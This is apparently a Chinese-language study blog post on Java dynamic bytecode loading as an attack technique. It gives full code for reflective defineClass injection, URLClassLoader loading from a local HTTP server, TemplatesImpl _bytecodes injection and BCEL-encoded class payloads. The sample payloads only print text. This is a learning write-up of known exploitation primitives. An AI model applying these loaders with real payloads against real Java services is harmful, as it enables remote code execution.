动态加载字节码是一种让JVM可以接收由程序在运行时动态产生的字节数组并将其装在的能力 本义是让程序变得更加灵活 但是也产生了一定的安全问题
核心方法
在java.lang.ClassLoader类中有一个方法
1
| protected final Class<?> defineClass(String name, byte[] b, int off, int len)
|
其作用是将一个符合JVM贵哦饭的Class文件字节码byte数组 转换成一个java.lang.Class的实例
听上去人畜无害 但是由于其直接跳过“从文件系统加载”的步骤 接收任何来源的合法字节数组 那么攻击者就可以生成符合规范的i解码 通过它生成我们的恶意实例
我们后文所介绍的几种动态加载字节码的姿势 最终都要落到defineClass这一步
DefineClass
在java之中字节码文件的加载需要ClassLoader之中的三个方法
- LoadClass:从已经加载的类缓存 父加载器这些位置寻找类 (利用双亲委派机制)如果没找到 执行FindClass
- FindClass:根据基础URL指定的方式加载类的字节码 寻找范围包括本地文件系统 jar包 远程hrrp服务器 然后交给defineClass
- defineClass:处理前面传入的字节码 将其处理成真正的java类
我们来编写一段代码来试试看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package java_class; import java.lang.reflect.Method; import java.util.Base64; public class DefineClassAttack { public static void main(String[] args) throws Exception { // 假设我们有恶意类的字节码(Base64编码,这里直接硬编码示意) byte[] evilBytes = Base64.getDecoder().decode( "yv66vgAAADQAHgoABgAQCQARABIIABMKABQAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQARTGphdmFfY2xhc3MvRXZpbDsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAHAAgHABgMABkAGgEABGtvYmUHABsMABwAHQEAD2phdmFfY2xhc3MvRXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAEAAQAHAAgAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAAAQABAAFAAwABgALAAAADAABAAAADQAMAA0AAAABAA4AAAACAA8="); // 实际的 Evil.class 字节码 // 获取一个 ClassLoader 实例,这里用系统类加载器 ClassLoader sysLoader = ClassLoader.getSystemClassLoader(); // 反射获取 defineClass 方法 Method defineClass = ClassLoader.class.getDeclaredMethod( "defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); // 调用 defineClass 注入恶意类,名称建议带包名保持一致 Class<?> evilClass = (Class<?>) defineClass.invoke( sysLoader, "java_class.Evil", evilBytes, 0, evilBytes.length); // 此时 Evil 类的静态代码块并未执行! // 需要显式触发初始化,两种方式: // 1. 调用 newInstance(),这会触发静态初始化 + 构造方法 // 2. 直接触发类的初始化:Class.forName(evilClass.getName(), true, sysLoader) evilClass.newInstance(); // 这才真正执行恶意代码 } }
|
其中那一串Base64编码是由Evil.java通过javac编译出来的Evil.class文件Base64编码得到
简单分析一下这一段代码
- 首先传入一段class文件的base64编码内容 然后将其解码 也就是得到一个class文件
1 2 3 4 5 6
| // 获取一个 ClassLoader 实例,这里用系统类加载器 ClassLoader sysLoader = ClassLoader.getSystemClassLoader(); // 反射获取 defineClass 方法 Method defineClass = ClassLoader.class.getDeclaredMethod( "defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true);
|
这两段就是在获得加载器和defineClass方法 注意由于这个方法是私有方法 我们需要使用反射并利用setAccessible获得权限
1 2 3
| // 调用 defineClass 注入恶意类,名称建议带包名保持一致 Class<?> evilClass = (Class<?>) defineClass.invoke( sysLoader, "java_class.Evil", evilBytes, 0, evilBytes.length);
|
这一段是核心部分
其核心目的就是通过反射调用defineClass方法 将前面传入的class定义为一个真正的java类 并获取这个类的class对象
再反射之中method.invoke方法的作用是再指定的对象上用指定的参数调用该方法 第一个传入的参数是目标对象 后面的是参数
对应到我们的代码就是:
其实整段代码也就相当于
1
| sysLoader.defineClass("java_class.Evil", evilBytes, 0, evilBytes.length);
|
注意原代码使用强制类型住那混啊 将不确定的返回值转换成Class
后面三个参数暂且不表 注意类的全限定名这一块 如果定义类的时候是在包之中定义的 那么类的全限定名要加上包名
URLClassLoader
这是JDK官方提供的 专门从URL路径加载类的类加载器
其是java.lang.ClassLoader的一个具体子类 核心作用在于从一组URL指向位置查找并加载类
1 2 3 4
| public class URLClassLoader extends ClassLoader { // 这是一个构造函数 传入一个 URL 数组,这些 URL 就是类的“搜索路径” public URLClassLoader(URL[] urls, ClassLoader parent) { ... } }
|
值得注意的是 此处的URL不仅仅指http/https协议 还可以是file协议等
查找流程
URLClassLoader本质重写findClass方法以实现“从URL路径加载”的逻辑
大致过程:
- 类全名转换成路径 如:
java_class.Test->java_class/Test.class
- 遍历URL 逐一尝试构造函数时候传入的URL数组
- 将URL和第一步产生的路径拼接构造出完整的资源地址
- 打开连接读取字节
- 将读取到的
byte[]字节数组传给defineClass 通过其完成字节码到类对象的转换工作
- 缓存类
实例操作
我们先编写两个Java文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package java_class; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class LoaderTest { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException{ //攻击者可控的资源地址 URL[] urls={new URL("http://localhost:8080/")}; //创建一个类加载器实例 URLClassLoader loader = URLClassLoader.newInstance(urls); //触发攻击点 Class<?> c = loader.loadClass("java_class.Test"); //加载完成后初始化 c.newInstance(); } }
|
这个文件实现对目标URL的加载逻辑
1 2 3 4 5 6 7
| package java_class; public class Test { public Test(){ System.out.println("loader test"); } }
|
操作步骤
首先在文件目录下启动cmd 将其编译成class文件
接着启动http服务
1
| python -m http.server 8080//适用于python3
|
完成之后直接在IDEA之中运行LoaderTest就可以看到成功输出loadertest
这就证明了URLClassLoader的远程·加载能力
这就说明如果我们能够控制目标java ClassLoader的基础路径是一个http服务器 就可以利用远程加载的方式执行RCE
Templateslmpl
这是Java的一个控制存储XSLT的特殊类
它的核心工作流程是当输入一段XSLT源码的时候 其内部会动态编译这份源码 生成一个java类 然后实例化这个类来完成XML到另一种形式(诸如HTML等)的转换
其会存储XSLT样式表编译之后的translet字节码(_bytecodes字段) 并在其defineTransletClasses()方法之中创建TransletClassLoader示例 调用其defineClass方法加载字节码 ——这就是为什么我们选择这个类作为攻击类
我们要做的就是
- 创建一个空的TemplatesImpl对象 利用反射将恶意字节码塞入其_bytecodes字段
- 调用newTransformer() 触发XSLT转换流程
- 此时这个XSLT转换流程就会将我们传入的恶意代码当成正常的XSLT加载实例化
- 最终触发恶意代码
以下代码可以作为一个证明
我们先定义一个恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package java_class; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class EvilTeml extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } //继承的 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } //继承的 public EvilTeml() { super(); System.out.println("Hello Su@sU"); }//恶意代码 }
|
注意这个类必须继承于AbstractTranslet类
因为TemplatesTmpl在defineTransletClasses的筛选逻辑
1 2 3
| if (AbstractTranslet.class.isAssignableFrom(clazz)) { _class[i] = clazz; // 只有 AbstractTranslet 的子类才会被存入 _class 数组 }
|
并且之后再getTransletInstance里面会执行
1
| AbstractTranslet translet = (AbstractTranslet) _class[0].newInstance();
|
那么如果加载的类不是AbstractTranslet的子类 它根本不会被存入_class数组 后续也就不会被实例化
接着将这个恶意类的class文件Base64编码
在以下代码之中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package java_class; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.util.Base64; public class Teml { public static void main(String[] args) throws Exception { // source: bytecodes/HelloTemplateImpl.java byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABU..."); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "EvilTeml"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer(); } private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { java.lang.reflect.Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
我们来分析一下上述代码
1 2 3 4 5 6
| byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABU..."); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "EvilTeml"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer();
|
这一段 首先将一个字节流数组赋值我们的恶意class文件的Base64编码
然后创建了一个空白的TemplatesImpl对象 此时其属性为null
现在我们要为其中的三个关键属性赋值
首先_bytecodes这个最关键的 包含我们的恶意类的变量子不用说 肯定是要赋值的
其次_name这个属性 我们设置为恶意变量同名 方便精准定位
最后_tfactory这个属性我们设置成TransformerFactoryImpl对象 因为defineTransletClasses() 内部会通过 _tfactory.getFactory() 获取类加载器用于创建 TransletClassLoader 若为 null 且自动赋值失败就会 NPE 所以手动赋值最保险
那么现在在这个我们定义的TemplatesImpl对象的属性之中已经含有了我们的恶意类但是并没有被触发啊 我们可能首先会想 直接使用obj.newInstance触发它 但是实际上 此时的obj本身就是一个普通的java对象 它并不包含什么恶意代码 你无论如何初始化都不会触发属性之中那个类的恶意代码(此时这个类还只是字节码而不是完整的类)
那么我们就要使用newTransformer方法 这个方法会调用TemplatesImpl之中的一个私有方法:getTransletInstance()
可以看到如果还没有定义过 translet 类,就先去调用 defineTransletClasses() 进行定义和筛选 那么就会调用defineTransletClasses()方法 这个方法就会将obj._bytecodes之中的恶意类给实例化触发
所以说这个newTransformer()的触发逻辑
1 2 3 4 5 6 7
| newTransformer() └─ getTransletInstance() ├─ 若 _class == null,调用 defineTransletClasses() │ ├─ TransletClassLoader.defineClass(_bytecodes[i]) // 加载恶意字节码 │ ├─ 检查类是否继承 AbstractTranslet │ └─ 若其简单名与 _name 相等,存入 _class[i] └─ _class[0].newInstance()
|
这样一来就触发了我们的恶意代码
BCEL ClassLoader
BCEL是Apache Commons项目之下的一个子项目 其提供两个类
- Repository:用于将一个java Class转化成字节码(作用类似于javac)
- Utility:用于将原生的字节码转换成BCEL格式字节码
其实这个BCELClassLoader的利用机制也就是将字节码转换成一种特殊形式(BCEL)的编码 这个BCELCLassLoader在调用loadClass都时候 其内部的loadClass方法会检测到一个特殊的前缀($$BCEL$$) 当识别到这个前缀的时候 loadClass会截取前缀之后的部分 通过内部的createClass方法将这一段特殊的BCEL编码解码会原始的字节码
我们可以来了解一下BCEL攻击需要导入什么包
com.sun.org.apache.becl.internal.util.ClassLoader:在攻击类之中导入 这是整个过程的核心 一个特殊的类加载器 负责识别和加载我们构造的BCEL格式字符串 (com.sun开头 说明它们是JDK内部专用的API )
com.sun.org.apache.bcel.intenal.classfile.Utility:在BCEL构造类之中使用 这是一个工具类 其encode方法能够将class文件的原始字节码转换成BCEL格式的字符串
java.nio.file.Files/java.nio.file.Paths:这是Java标准库之中的类 用于从磁盘上方便的读取class文件到byte数组 这是调用Utility.encode的前提
我们来完成这个攻击的示例
我们需要三个类
恶意攻击类
1 2 3 4 5 6 7
| package java_class; public class EvilBCEL { static { System.out.println("Hello Su@sU"); } }
|
BCEL编码类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package java_class; import com.sun.org.apache.bcel.internal.classfile.Utility; import java.nio.file.Files; import java.nio.file.Paths; public class BCELEncoder { public static void main(String[] args) throws Exception { byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java study\\newjava\\src\\java_class\\EvilBCEL.class")); String bcelCode = Utility.encode(classBytes, true); System.out.println(bcelCode); } }
|
BCEL攻击类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package java_class; import com.sun.org.apache.bcel.internal.util.ClassLoader; public class BCELAttack { public static void main(String[] args) throws Exception { // 创建一个 BCEL 类加载器实例 ClassLoader bcelLoader = new ClassLoader(); // 用上一步生成的 BCEL 字符串,前面拼接 "$$BCEL$$" String bcelPayload = "$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$5dPKK$c3$40$Q$fe$b6$af$3c$9a$da$daZ$df$82$k$84$d6$83$b9xk$R$b1T$3c$E$V$a2$bdJ$g$97$b2e$9bH$b2$v$f8$b3$f4$a0$e0$c1$l$e0$8f$SgC$7d$ceaf$e7$7b$cc$ee$ec$fb$c7$eb$h$80$pl$db$a8$60$c9B$j$N$T$cb6$9ah$ZX1$d0f$a8$f4E$q$d41C$b1$d3$j1$94$G$f1$jg$a8$7b$o$e2$X$d9l$cc$93$eb$60$y$J1$fb$a1$5c$um$3f$ce$92$90$9f$J$8d$d7$86s$nO$HC$efp$g$cc$D$H$GL$D$ab$O$d6$b0$ceP$3d$e7R$c6$bb$7ev$92$de$Y$d8p$b0$89$z$86$96V$de$862HS$f7$cb$cd$d0$d0$a8$x$83h$e2$5e$8e$a7$3cT$7f$m$ff$nU$7cF$af$8c3$o$da$5e$ce$88$d8$bdJD$a4$7c$95$f0$60$d6$5bL$fe$H3$Y$f7$ba$93$R$f9$3a$de$af$91$8a$e0I$af$3b$c2$k$ca$f4$3f$3a$K$60z$D$ca$Wu$3bT$Z$d5$f2$c1$L$d8$p$jhw$ca$95$i$y$92$ac$fa$z$dd$t$ab$O$eb$J$85f$f1$Z$a5$l$b9$9dSe$92j$a3$93$dfR$fb$Es$7e$ME$9b$B$A$A\n"; // 加载该类(内部会解码、defineClass),并立即实例化触发 static 块 bcelLoader.loadClass(bcelPayload).newInstance(); } }
|
将恶意攻击类编码成字节码之后调用BCEL编码类编码成BCEL形式 之后添加入BCEL攻击类之中攻击即可
小结
至此动态加载字节码的机制以及几种利用姿势都已经学习完善
我们可以发现 无论如何变换姿势 底层都落在将任意来源的字节数组通过ClassLoader.defineClass()转变成java实例的过程
参考文章